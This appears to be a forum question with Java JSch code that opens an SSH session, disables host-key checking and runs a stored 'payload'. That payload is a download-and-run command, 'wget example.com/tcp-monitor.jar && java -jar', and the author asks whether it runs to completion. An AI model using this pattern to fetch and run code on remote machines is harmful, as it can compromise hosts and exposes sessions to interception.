JSch jsch = new JSch();
Session session = jsch.getSession(username, host, port);
session.setPassword(password);
java.util.Properties config = new java.util.Properties();
config.put("StrictHostKeyChecking", "no");
session.setConfig(config);
session.setTimeout(Loader.TIMEOUT);
session.connect();
ChannelExec channelExec = (ChannelExec)session.openChannel("exec");
channelExec.setCommand(Loader.payload);
channelExec.connect();
channelExec.disconnect();
session.disconnect();
The payload I am executing is a long command: basically executing wget
and then running said downloaded program. Would the way I am doing it execute the command and FINISH the command? To me it seems like it would quit half way through executing the command.
My command is:
wget example.com/tcp-monitor.jar && java -jar tcp-monitor.jar ...
So what I am asking is: With my command above, would it execute both commands, then wait for them to finish, then quit or would it just quit after executing? If so can someone help me fix this?